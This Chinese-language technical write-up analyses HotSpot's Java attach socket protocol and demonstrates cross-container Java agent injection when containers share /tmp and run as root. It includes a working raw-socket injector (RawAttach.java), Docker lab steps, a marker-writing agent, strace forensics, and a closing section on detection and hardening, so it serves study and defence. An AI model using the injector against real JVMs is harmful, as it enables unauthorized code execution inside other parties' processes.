Java Attach Socket 在共享 /tmp 容器场景下的跨进程注入
HotSpot 的 Attach API 在 Linux 平台上以 /tmp/.java_pid<pid> 这个 Unix Domain Socket(UDS)作为唯一接入点。com.sun.tools.attach.VirtualMachine.attach()、jcmd、jstack、jmap 最终都落到这条 socket 上。
一、AttachListener 的冷启动:信号触发与触发文件
HotSpot 启动时不会预先创建 /tmp/.java_pid<pid>。AttachListener 线程按需启动,触发条件在 Linux 下是一组特定信号与一个特定文件名的组合:
- 在目标 JVM 的当前工作目录或
/tmp下创建.attach_pid<pid>这个空文件(pid 是目标 JVM 在自己命名空间内看到的 pid)。 - 向目标进程发送
SIGQUIT(信号号 3)。 - HotSpot 的信号处理函数捕获到
SIGQUIT后,并不会立刻打印线程堆栈,而是先检查/proc/self/cwd/.attach_pid<pid>与/tmp/.attach_pid<pid>是否存在;任一存在即认定这是一次合法的 attach 请求。 - HotSpot 内部置位
AttachListener::is_init_trigger(),由AttachListener线程在LinuxAttachListener::init()中以bind(2)绑定/tmp/.java_pid<pid>,并listen(5)。 - 触发文件
.attach_pid<pid>在 listener 初始化完成后由 HotSpot 自行unlink()。
触发文件的 owner 必须满足
uid == JVM uid,否则 HotSpot 直接忽略信号,不创建 socket。这是第一道鉴权,源码位于attachListener_linux.cpp的init_trigger()中对stat()结果的st_uid校验。如果
/tmp是 noexec、ro 或被tmpfs size=0限制,触发会失败但不会产生任何错误日志。AttachListener 一旦起来就常驻,后续不需要再发信号,直接
connect()即可。
二、UDS 的命名与文件系统层防护
socket 的路径形式固定为 /tmp/.java_pid<pid>,文件 mode 为 srw-------(0600,HotSpot 在 attachListener_posix.cpp 里以 chmod(path, S_IREAD|S_IWRITE) 设置),owner 为 JVM 所属的 uid/gid。文件系统层只允许同 uid 的进程 connect()。
这条防线在两类场景下容易失效:
- 共享 uid:同一宿主机上以同一 uid 跑多个 JVM 时,任一 JVM 的 uid 拥有者都能连接其余 JVM 的 socket。生产中常见的
tomcat:tomcat、app:app、以及清一色root运行的容器,互相之间没有任何 fs 层隔离。 - uid 0:root 可以 connect 任何 uid 的 socket,且无须改 mode。这是宿主机
root用户与容器内root的天然能力。
容器场景下还要叠加 /tmp 的可见性问题,下一节单独展开。
三、AttachListener 的协议字节布局
socket 建立 TCP 风格的双工流后,协议没有任何 framing header,全部以 \0 作分隔符。客户端在一次 connect() 中按以下顺序串行写出:
"1\0" # 协议版本号,固定字面量 '1' + NUL
"<command>\0" # 命令名,例如 "load"
"<arg1>\0"
"<arg2>\0"
"<arg3>\0"三个 arg 槽位必须全部写出:即便命令只需要 1 个参数,arg2 和 arg3 也必须以纯 \0 占位。HotSpot 在 LinuxAttachOperation::read_request() 中以 read_string() 循环固定读取 AttachOperation::arg_count_max == 3 次,任何缺位都会让 read 阻塞直到客户端 shutdown(SHUT_WR) 才走错误分支。
服务端在执行完命令后写回:
"<decimal_return_code>\n" # ASCII 十进制数字 + LF
"<payload bytes...>" # 命令输出,长度未声明
<EOF, server closes>返回码语义:0 表示命令调度成功;非零是 HotSpot 内部的 AttachOperation::result 值,常见的 101(命令未识别)、-1(无法解析)等。payload 长度只能靠 read() 读到 EOF 才知道边界,没有 Content-Length 类字段,客户端不能用 available() 判断结束。
HotSpot 21 支持的命令名(来自 AttachListener::pd_find_operation(),按 case-sensitive 匹配):
命令 | 用途 |
| 返回 |
| Attach Agent 自身的属性 |
| 等价于 SIGQUIT 后正常输出的 thread + deadlock dump |
| 仅线程栈 |
| 写出 hprof 到指定路径,由 JVM uid 写盘 |
| 等价于 |
| 设置 manageable 类别的 JVM flag |
| 读取 JVM flag |
| 装载 native agent 或 Java agent |
| 路由到 |
本文关心的是 load。
四、load 命令的三个参数
load 命令的三个 arg 槽位语义:
arg1:要加载的库名。若为字面量"instrument",HotSpot 走 Java Agent 通道(即Instrumentation接口);其他值一律按 native 库名传给dlopen()。arg2:字符串"true"或"false",表示arg1是否是绝对路径。"true"时 HotSpot 直接把arg1当 path 给dlopen,"false"时按LD_LIBRARY_PATH+ JDK 默认路径解析。arg3:选项串,原样透传给 agent。
Java Agent 的入口由 arg3 表达。arg3 的格式是 <jar绝对路径>=<options>,其中 = 之前是 jar 路径,之后是给 agentmain(String args, Instrumentation inst) 的字符串。arg3 不带 = 时整串作为 jar 路径、agentmain 收到 null。
所以一次 Java Agent 注入的协议字节流形如:
1\0 load\0 instrument\0 false\0 /tmp/agent.jar=foo\0instrument 是 HotSpot 内置识别的特殊字面量,并不需要在文件系统上真的有同名 .so。它会触发 HotSpot 内部装载 libinstrument.so(位于 $JAVA_HOME/lib/),由 libinstrument 解析 arg3、读取 jar 的 META-INF/MANIFEST.MF、找出 Agent-Class 并回调 agentmain。
五、SO_PEERCRED:除文件系统外的第二道鉴权
仅靠 chmod 0600 是不够的,HotSpot 还在 accept() 之后对每个连入的 fd 执行一次:
struct ucred cred;
socklen_t len = sizeof(cred);
getsockopt(client_fd, SOL_SOCKET, SO_PEERCRED, &cred, &len);
if (cred.uid != geteuid() && cred.uid != 0) {
// reject
}HotSpot 校验对端 uid 必须等于自己的 effective uid,或对端是 root。即便 socket 的可读位被改宽,只要 uid 不一致仍会被 reject。
SO_PEERCRED 在 Linux 上返回的是对端进程在 socket 创建时的 namespace 内 uid,不是宿主机 uid。两个共享 /tmp 的容器若都以 root 身份运行(容器内 uid 0),即便宿主机映射到不同 user namespace,SO_PEERCRED 看到的都是 0,鉴权通过。这是后面跨容器注入能够成立的根本原因。
六、共享 /tmp 的实际来源
/tmp/.java_pid<pid> 这个路径本身是写死的(os::get_temp_directory() 返回 /tmp,再 snprintf 拼出),无法通过环境变量改到别处。-XX:+PerfDisableSharedMem、-Djava.io.tmpdir 都不影响这条 path。两个 JVM 进程要互相看见对方的 socket,本质上只需要:它们看到的 /tmp 是同一个 inode 空间。
Docker 默认行为:
- 不显式挂载时,容器内
/tmp是镜像层 + 容器层联合挂载的一部分,与宿主机及其他容器隔离。 -v /tmp:/tmp或--mount type=bind,source=/tmp,target=/tmp把宿主机/tmp直接暴露进容器。--mount type=tmpfs,target=/tmp是容器私有的 tmpfs,仍然隔离。--ipc=host不影响/tmp;--pid=host则让容器内kill -3 <宿主pid>直接命中宿主 JVM。
Kubernetes 场景:
- Pod 内多个 container 默认不共享
/tmp,但若声明了一个emptyDir卷并挂到所有容器的/tmp,就形成了共享。 - 一些 sidecar 模式(日志采集、profiler sidecar)会主动以
emptyDir形式共享/tmp给主容器,以便 sidecar 用jcmd抓取业务容器的指标。这种部署里 sidecar 天然拥有 attach 权限。 - HostPath 把宿主
/tmp挂进 Pod 也会形成共享。
七、JEP 451 在 JDK 21 上的实际行为边界
JEP 451 (Prepare to Disallow the Dynamic Loading of Agents) 在 JDK 21 落地,但它在 JDK 21 阶段不会阻断任何东西,仅当目标 JVM 检测到一次动态 agent 装载时,向 stderr 打印:
WARNING: A Java agent has been loaded dynamically (/tmp/agent.jar)
WARNING: If a serviceability tool is in use, please run with -XX:+EnableDynamicAgentLoading to hide this warning
WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information
WARNING: Dynamic loading of agents will be disallowed by default in a future releaseJDK 21 GA 的 warning 第 3 行已经不再提示 -XX:-EnableDynamicAgentLoading(更早期的 EA 版本提示过),而是引到 -Djdk.instrument.traceUsage 这个 trace 开关。真正的阻断标志位仍然存在:
-XX:+EnableDynamicAgentLoading:允许,且不打 warning。-XX:-EnableDynamicAgentLoading:真正阻断。此时再触发load,HotSpot 返回非零 result,agent 装载失败。这是 JDK 21 上唯一能从 JVM 侧硬性关闭这条路径的开关。
warning 在源码里只挂在 Agent::initialization() 路径上,不区分 attach 源是自身进程还是外部进程,外部 attach 同样只会被 warning 不会被拒绝。社区里流传的"JEP 451 只针对自附加"的说法不准确——它针对的是"动态 vs 启动期 -javaagent:",与发起方是否同一 JVM 无关。
八、复现:两个容器共享 /tmp 完成跨容器注入
目标容器(victim)跑一个 HTTP 服务,攻击容器(attacker)直接走 UDS 字节流注入一个只做"写文件留痕"的 Java Agent,用以验证 agentmain 在目标 JVM 中确实被调用。
8.1 目录搭建
mkdir -p attach-lab && cd attach-lab8.2 目标 Java 应用
Victim.java:
import com.sun.net.httpserver.*;
import java.net.InetSocketAddress;
public class Victim {
public static void main(String[] args) throws Exception {
var server = HttpServer.create(new InetSocketAddress(8080), 0);
server.createContext("/", ex -> {
byte[] body = "ok\n".getBytes();
ex.sendResponseHeaders(200, body.length);
ex.getResponseBody().write(body);
ex.close();
});
server.start();
System.out.println("victim pid=" + ProcessHandle.current().pid());
Thread.currentThread().join();
}
}构建:
javac Victim.java8.3 Java Agent
Agent.java:
import java.lang.instrument.Instrumentation;
import java.nio.file.*;
public class Agent {
public static void agentmain(String args, Instrumentation inst) throws Exception {
// 写出一个文件证明 agentmain 执行成功
Files.writeString(
Paths.get("/tmp/pwned_by_" + ProcessHandle.current().pid()),
"agentmain args=" + args + "\n"
);
}
}agent-manifest.mf(用 heredoc 写出,最后一行后必须有一个空行,否则部分 jar 工具会把最后一条属性吞掉):
cat > agent-manifest.mf <<'EOF'
Manifest-Version: 1.0
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
EOF
构建:
javac Agent.java
jar cfm agent.jar agent-manifest.mf Agent.class
8.4 注入器
RawAttach.java,直接以 UDS 字节流交互:
import java.io.*;
import java.net.*;
import java.nio.*;
import java.nio.channels.*;
import java.nio.file.*;
public class RawAttach {
public static void main(String[] args) throws Exception {
long pid = Long.parseLong(args[0]);
String agentJarAbs = args[1]; // /tmp/agent.jar
String agentArgs = args.length > 2 ? args[2] : "";
Path sock = Path.of("/tmp/.java_pid" + pid);
if (!Files.exists(sock)) {
Path trigger = Path.of("/tmp/.attach_pid" + pid);
Files.createFile(trigger);
new ProcessBuilder("kill", "-3", Long.toString(pid))
.inheritIO().start().waitFor();
for (int i = 0; i < 50 && !Files.exists(sock); i++) Thread.sleep(100);
if (!Files.exists(sock))
throw new IOException("AttachListener did not come up");
}
try (SocketChannel ch = SocketChannel.open(StandardProtocolFamily.UNIX)) {
ch.connect(UnixDomainSocketAddress.of(sock));
writeNul(ch, "1"); // protocol version
writeNul(ch, "load"); // command
writeNul(ch, "instrument"); // arg1
writeNul(ch, "false"); // arg2: not an absolute .so
writeNul(ch, agentJarAbs + (agentArgs.isEmpty()
? "" : "=" + agentArgs)); // arg3
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteBuffer buf = ByteBuffer.allocate(4096);
int n;
while ((n = ch.read(buf)) > 0) {
buf.flip();
byte[] tmp = new byte[buf.remaining()];
buf.get(tmp);
out.write(tmp);
buf.clear();
}
String resp = out.toString();
int nl = resp.indexOf('\n');
int rc = Integer.parseInt(resp.substring(0, nl).trim());
System.out.println("return_code=" + rc);
System.out.println("payload=\n" + resp.substring(nl + 1));
}
}
static void writeNul(SocketChannel ch, String s) throws IOException {
byte[] b = (s + "\0").getBytes("UTF-8");
ByteBuffer bb = ByteBuffer.wrap(b);
while (bb.hasRemaining()) ch.write(bb);
}
}构建:
javac --release 21 RawAttach.javaDockerfile.victim:
FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY Victim.class /app/
CMD ["java", "Victim"]Dockerfile.attacker:
FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY RawAttach.class /app/
COPY agent.jar /agent/agent.jar
# strace 用于后面抓协议字节流
RUN apt-get update \
&& apt-get install -y --no-install-recommends procps strace \
&& rm -rf /var/lib/apt/lists/*构建:
sudo docker build -f Dockerfile.victim -t att-victim .
sudo docker build -f Dockerfile.attacker -t att-attacker .
启动一个共享 tmpfs 给两个容器作 /tmp:
sudo docker volume create --driver local \
--opt type=tmpfs --opt device=tmpfs --opt o=size=64m shared_tmp
sudo docker run -d --name victim -v shared_tmp:/tmp att-victim
sudo docker run -d --name attacker -v shared_tmp:/tmp att-attacker sleep infinity
因为
/tmp整个被共享 tmpfs 替换掉,两个容器各自原本镜像里的/tmp内容都看不到了,但 attacker 容器里/agent/agent.jar仍然存在。这里特意把 agent jar 放在/agent/,因为 attach 协议要求 agent 路径在目标 JVM 视角下能被打开——而目标容器的/agent/目录不存在。
需要把 agent jar 复制进共享 /tmp:
sudo docker exec attacker cp /agent/agent.jar /tmp/agent.jar确认 victim 视角能看到:
docker exec victim ls -l /tmp/agent.jar
javac --release 21 Victim.java Agent.java RawAttach.java
jar cfm agent.jar agent-manifest.mf Agent.class
ls
8.5 跨容器发起注入
拿到目标在自己 PID namespace 内的 pid
sudo docker exec victim pgrep -x java
attacker 容器并不强制要求直接"看到" victim 的进程——它只要能访问到 socket 文件、并在必要时把信号送到目标即可。但发信号要求两个容器处于同一个 PID namespace。两种走法:
- 方式 A:启动 attacker 时加
--pid=container:victim,让 attacker 直接进入 victim 的 PID namespace。 - 方式 B:在 victim 还没起 AttachListener 时,由 victim 自己先发一次
kill -3 1触发;此后 socket 常驻,attacker 不再需要发信号。
这里我走的A方式。
重启 attacker:
sudo docker rm -f attacker
sudo docker run -d --name attacker \
-v shared_tmp:/tmp \
--pid=container:victim \
att-attacker sleep infinity
sudo docker exec attacker pgrep -x java
发起注入:
sudo docker exec attacker java RawAttach 1 /tmp/agent.jar hello
观察返回码与 victim 日志:
sudo docker logs victim
sudo docker exec victim ls /tmp/
sudo docker exec victim cat /tmp/pwned_by_1
至此 victim 容器的 JVM 在自己的命名空间内加载并运行了来自另一个容器的 Java Agent。
验证一下 --pid=container:victim 是否真的把两个容器塞进了同一个 PID namespace:

sleep infinity 是 attacker 容器的启动命令,却以 PID 46 出现在 victim 视角的 ps 里——这就是共享 PID namespace 的直接证据,也意味着 attacker 能向 victim 的 pid 1 发任意信号。
8.6 仅共享 /tmp、不共享 PID namespace 的情况
如果只共享 /tmp 而 PID namespace 隔离,attacker 看到的 victim pid 与 victim 自己看到的不一样,且 kill -3 无法跨 namespace 发送。这种情况下,只要 victim 进程已经被任何其他方式触发过 AttachListener(例如它自己在启动后 jcmd <self> VM.version 自检过、或运维侧曾经 jstack 过一次),/tmp/.java_pid<pid> 就已经存在并常驻。共享 /tmp 的 attacker 只需枚举 .java_pid* 文件,直接 connect(),HotSpot 不会因为对端不在同 PID namespace 就拒绝——SO_PEERCRED 只看 uid。
sudo docker exec attacker sh -c 'ls /tmp/.java_pid* 2>/dev/null'
直接用 socket path,不再依赖 pid 数字的语义
sudo docker exec attacker java RawAttach 1 /tmp/agent.jar
RawAttach在这种场景下需要把 SIGQUIT 触发段去掉,直接 connect。
8.7 用 strace 抓取触发链与协议字节流
attacker 的 java 进程自身启动会刷掉数百行 syscall(加载 libjli.so / libjvm.so / libjimage.so、读 cgroup、查 hugepage 配置等),真正的 attach 行为集中在文件后半部。
sudo docker exec attacker strace -f \
-e trace=openat,unlinkat,kill,socket,connect,write,read \
-s 200 -o /tmp/attach.strace \
java RawAttach 1 /tmp/agent.jar hello
sudo docker exec attacker grep -nE \
'\.attach_pid|\.java_pid|kill.*-3|sun_path=.*java_pid|write\([0-9]+, "(1|load|instrument|false|/tmp/agent)|read\([0-9]+, "[0-9]|statx\([0-9]+, [^,]+, "/tmp/\.(java_pid|attach_pid)' \
/tmp/attach.strace
整个注入过程可在 18 行 syscall 内闭环。按时间序:触发文件创建(L153)→ ProcessBuilder fork + execve 投递 kill -3 1(L168 父写 argv / L175 子 PID 83 读 argv)→ kill 子进程退出为 zombie(L203 83 (kill) Z)→ AttachListener 冷启动后,主进程 PID 66 连入 /tmp/.java_pid1(L235)→ 按协议串行写出五段字节(L236–L240)→ 收到返回码与 payload 共 17 字节(L241)。

为什么是这样?
- L153 的
O_WRONLY|O_CREAT|O_EXCL标志说明RawAttach用"独占创建"语义来生成触发文件。 - L168 与 L175 的字节内容完全相同(
"kill\0-3\0001\0...",93 字节),正是 execve 把 argv 与继承自 attacker 容器的PATH一起拷贝给子进程的 pipe 通道;L203Z状态印证子进程已退出、等waitFor收尸,对应RawAttach.java里new ProcessBuilder("kill","-3",...).start().waitFor()这一行。 - L235 的
sun_path="/tmp/.java_pid1"与 socket 长度 18(=2 字节sa_family+ 16 字节 path,正好放下/tmp/.java_pid1)共同说明这是一个标准的 AF_UNIX path 形式,不是 abstract namespace(abstract 会以@或\0开头)。 - L236–L240 五次
write字节长度分别是 2/5/11/6/21,每段都恰好等于"字符串长度 + 1 个 NUL",证明 HotSpot 的协议确实以\0作唯一分隔符,没有任何 framing header。 - L241
read = 17,内容拆开是"0\n"(2 字节,HotSpotLinuxAttachOperation::complete()写回的命令分发结果)+"return code: 0\n"(15 字节,libinstrument的JPLISAgent::tryToLoadAgent()把Agent_OnAttach的返回值再 echo 一次)。两段0双重表明命令路由与 agent 入口都未抛异常。
socket 文件

文件类型 s(socket)、模式 rw-------(八进制 0600)、owner/group 均为 root、size 为 0、时间戳是 attach 触发那一刻。
- 类型
s来自bind(2)在文件系统上落下的 socket inode。 - 模式 0600 是 HotSpot 在
attachListener_posix.cpp里硬编码chmod(path, S_IREAD|S_IWRITE)的结果,对应 §二第一道文件系统鉴权。 - size 为 0 是 UDS inode 的通用特征——AF_UNIX socket 不在文件系统层承载数据,所有字节都走内核 socket buffer。
- owner 为
root而非tomcat/app等业务用户,是因为 victim 容器内 JVM 以 uid 0 启动,这同时也意味着 前文描述的SO_PEERCRED鉴权对 attacker 容器内的 root 来说是 no-op——两边都是 namespace 内 uid 0。
文件存在 + 0600 + owner=JVM uid 三要素齐备 → 这是一个 HotSpot 标准初始化路径生成的合法 AttachListener socket,不是攻击者伪造的同名文件。
内核 socket 表

- HotSpot 的
LinuxAttachListener::init()先把 socketbind到.java_pid1.tmp,listen + chmod 0600完成后再rename成最终名。内核在bind(2)时把sun_path拷贝进 socket 内部结构,rename(2)只改 dentry 不回写 socket 结构,所以/proc/net/unix永久停留在.tmp上。 flags=0x00010000即__SO_ACCEPTCON,表明该 socket 已调用listen;state=01即SS_UNCONNECTED,对 listening UDS 来说是正确状态(它本身不"连"任何人,只 accept)。- refcount=2:一份来自 AttachListener 线程持有的 listener fd,另一份来自 dentry 引用。
装载证据

四段权限对应代码段、RELRO 保护页、只读数据、可写数据,是 dlopen 进来的 ELF 共享库标准布局。Temurin 21 未启用 -z separate-code,所以是 4 段而非 5 段。device id 00:37 中 major 为 0,是 overlay2 文件系统在容器内的特征,说明这个 so 来自镜像层而非外部投递。

java_command: Victim,启动参数干净,没有任何 -javaagent: 或 -agentlib:。
启动参数没有 agent,但内存里出现了 libinstrument.so,唯一的解释是这次装载来自动态 attach,不是启动期
-javaagent拉起的。

第一行括号里的 /tmp/agent.jar 是 victim 视角的路径,与 attacker 写出的 arg3 路径一致,说明共享 tmpfs 让两边看到同一份文件。(后三行是 JDK 21 的固定文案,仅 warning 不阻断)
这四行只出现在 victim 的 stderr,attacker 端的 RawAttach 只收到
0\nreturn code: 0\n,看不到 warning。防御侧如果只盯发起方进程行为会漏掉,必须采集业务 JVM 的 stderr 才能命中这条线索。
8.8 attach socket 在 /proc 下的视角
attach 触发前 victim 端:
sudo docker exec victim ls -la /tmp/ | grep -E 'attach|java_pid' || echo "(no attach files)"
sudo docker exec victim grep -E '\.java_pid|\.attach_pid' /proc/net/unix || echo "(no listening attach socket)"attach 触发后,先看文件系统视角:

srw------- 即 0600,HotSpot 在 attachListener_posix.cpp 里以 chmod(path, S_IREAD|S_IWRITE) 设置。文件存在 + mode 0600 + owner 与 JVM uid 一致,三者齐全才是合法的 attach socket。
sudo docker exec victim grep java_pid /proc/net/unix
/proc/net/unix 里看到的 path 带 .tmp 后缀,而 ls /tmp/.java_pid1 不带。原因在 HotSpot 的 LinuxAttachListener::init():
snprintf(path, "%s/.java_pid%d", "/tmp", pid); // 最终路径
snprintf(initial_path, "%s.tmp", path); // 临时路径
bind(listener, initial_path); // 先绑 .tmp
listen(listener, 5); // listen
chmod(initial_path, S_IREAD|S_IWRITE); // 0600
rename(initial_path, path); // 原子改名为最终名这是为了避免"socket 已出现但尚未 listen / chmod"的中间窗口被其他进程抢先 connect。内核记录 sun_path 是在 bind(2) 时一次性写入的,rename(2) 不会回写到内核结构,所以 /proc/net/unix 永远停留在 .tmp 那个 path 上,而 dentry 已经改名。
倒过来用:在
/proc/net/unix看到一个/tmp/.java_pid<pid>listening UDS 不带.tmp后缀,说明它不是被 HotSpot 走标准init()路径创建的——很可能是被外部进程直接bind到最终名上的伪造 socket,是一个值得追查的异常。
agent.jar 本身既不会出现在 /proc/<pid>/maps,也很可能在注入完成几秒后就从 lsof -p <pid> 里消失。libinstrument 在 agentmain 返回后释放对 jar 的强引用,下一次 GC 触发后底层 ZipFile.close() 把文件句柄释放掉。对取证而言这意味着:
sudo docker exec victim cat /tmp/pwned_by_1
agentmain 写入的痕迹仍在。
sudo docker exec victim grep libinstrument /proc/1/maps
so 仍在 mapping。
sudo docker exec victim lsof -p 1 | grep agent.jar 
已经为空。
即便 /tmp/agent.jar 这个文件本身已被删除,Agent 类仍在 system class loader 里固化,agentmain 的副作用持续存在。从 lsof 反查 agent jar 来做样本提取这条路在多数情况下走不通;可靠的取证证据是 libinstrument.so 的 mapping、victim 端 stderr 上的 JEP 451 warning、以及第 8.8 节 /proc/net/unix 中残留的 .tmp 后缀。
8.9 victim 端的 stderr 输出与 jcmd 自查
victim 容器的标准错误能直接看到 JEP 451 的 warning:
sudo docker logs victim 2>&1 | tail -20
warning 是 victim 端的 HotSpot 打出来的,不会回灌到发起方的 socket payload。仅看 RawAttach 输出(返回码 0)无法判断"是否触发了 warning",必须从外部看 victim 日志。
九、防御侧的识别面
无需依赖 HotSpot 源码、几条可立刻执行的识别动作:
1. 列出活跃的 attach socket:
# 优先:ss(需要 iproute2)
ss -xl | awk '$5 ~ /\.java_pid/ {print}'
# 零依赖回退:直接读 /proc/net/unix
grep -E '\.java_pid[0-9]+(\.tmp)?$' /proc/net/unix/proc/net/unix 内核会保留 bind 时的 path(带 .tmp 后缀),ls /tmp/ 看到的是 rename 后的最终名(不带 .tmp)。两边都要查——只查其中一处会漏:
- 只查
ls /tmp/.java_pid*:看不到那些被unlink但仍持有的 socket(即 socket 文件已被删,listener fd 仍在内核中持有的情况) - 只查
/proc/net/unix:能看到所有 listening UDS,但不能直接验证文件系统层的可达性
任何 .java_pid* 的存在都说明对应 JVM 至少被触发过一次 attach。常驻并不必然代表被入侵,但配合启动参数能快速锁定异常:用 -javaagent: 启动的 JVM 不会自动起 AttachListener,socket 的出现一定来自外部触发或 jcmd 自调。
2. 比对加载中的 agent 与启动参数:
JVM_PID=1
jcmd $JVM_PID VM.command_line
jcmd $JVM_PID VM.system_properties | grep -E 'sun.jvm.args|java.class.path'
jcmd $JVM_PID VM.flags -all | grep -i agent启动参数里没有 -javaagent、却出现在 jdk.attach.allowAttachSelf 等运行期属性里的情况,是动态注入的强信号。
3. 检查进程内存映射里的 jar / so:
awk '/\.jar$|\.so$/ {print $6}' /proc/$JVM_PID/maps | sort -ulibinstrument.so 的出现说明这个 JVM 至少装载过一次 Java Agent;若启动参数中没有 -javaagent:,意味着这次装载来自 attach。
4. 监控 .attach_pid<pid> 触发文件的创建:
# auditd 规则示例:监控 /tmp 下 .attach_pid* 文件的 create/open
auditctl -w /tmp -p wa -k attach_trigger
ausearch -k attach_trigger | grep -E 'name=.*\.attach_pid'.attach_pid<pid> 在生产环境出现得极少,绝大多数 JVM 永不主动触发它。一次出现就值得告警。eBPF 侧用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat /str(args->filename) ~ "*\.attach_pid*"/ { printf("%d %s\n", pid, comm); }' 也能拿到等价信号。
5. 关闭这条路径:
对所有不需要 attach 能力的生产 JVM,加上:
-XX:-EnableDynamicAgentLoading
-XX:+DisableAttachMechanismDisableAttachMechanism 让 HotSpot 完全不在 SIGQUIT 路径上创建 AttachListener,连 socket 都不会出现;-EnableDynamicAgentLoading 则在 Agent::initialization() 阶段直接拒绝 load 命令。两者一起加能彻底关闭前面描述的全部入口。需要注意 DisableAttachMechanism 会让 jcmd、jstack、jmap 全部失效,对依赖在线诊断的环境需要权衡。
6. 编排层面的最小化:
- 不要在 Pod 内多个容器之间用
emptyDir共享/tmp,sidecar 抓取指标应改用 JMX over 网络或 OpenTelemetry agent 启动期注入。 - 不要在
docker run时把宿主/tmp直接bind mount给容器;如需共享文件,挂到/shared而不是/tmp。 - 共享 PID namespace(
--pid=host/--pid=container:)应当与共享/tmp互斥,避免两者同时出现。
十、平台差异
HotSpot 在 macOS 上同样使用 /tmp/.java_pid<pid> UDS,触发机制类似但触发文件位置在 <tmpdir> 内;Windows 上 attach 走 named pipe \\.\pipe\javatool<pid>,鉴权依赖 ACL 而非 SO_PEERCRED。容器化部署里 Windows 平台几乎不涉及,因此本文聚焦 Linux 平台,覆盖的是 Docker 与 Kubernetes 的默认运行底座。